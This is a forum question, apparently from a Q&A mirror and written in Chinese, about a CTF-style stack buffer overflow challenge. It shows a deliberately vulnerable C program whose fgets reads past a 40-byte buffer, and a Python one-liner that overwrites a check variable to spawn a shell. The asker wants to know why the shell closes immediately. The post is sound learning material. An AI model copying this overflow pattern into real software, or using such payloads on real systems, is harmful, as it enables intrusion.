小编ato*_*tab的帖子

缓冲区溢出后,Spawned shell会很快终止

以下是要利用的应用程序的源代码.ch13.c:

#include <stdlib.h>
#include <stdio.h>

/*
gcc -o ch13 ch13.c -fno-stack-protector
*/


int main()
{

  int var;
  int check = 0x04030201;
  char buf[40];

  fgets(buf,45,stdin);

  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);

  if ((check != 0x04030201) && (check != 0xdeadbeef))
    printf ("\nYou are on the right way !\n");

  if (check == 0xdeadbeef)
   {
     printf("Yeah dude ! You win !\n");
     system("/bin/dash");
   }
   return 0;
}
Run Code Online (Sandbox Code Playgroud)

在shell中运行后:

python -c 'print "A"*40 + "\xef\xbe\xad\xde"'|./ch13
Run Code Online (Sandbox Code Playgroud)

它显示缓冲区内容和"是啊伙计!你赢了!" 但没有新壳.GDB显示新进程已启动但我无法与其进行交互.有没有办法与衍生的shell进行交互,以便它不会很快终止?

c linux shell buffer-overflow

2
推荐指数
1
解决办法
2543
查看次数

标签 统计

buffer-overflow ×1

c ×1

linux ×1

shell ×1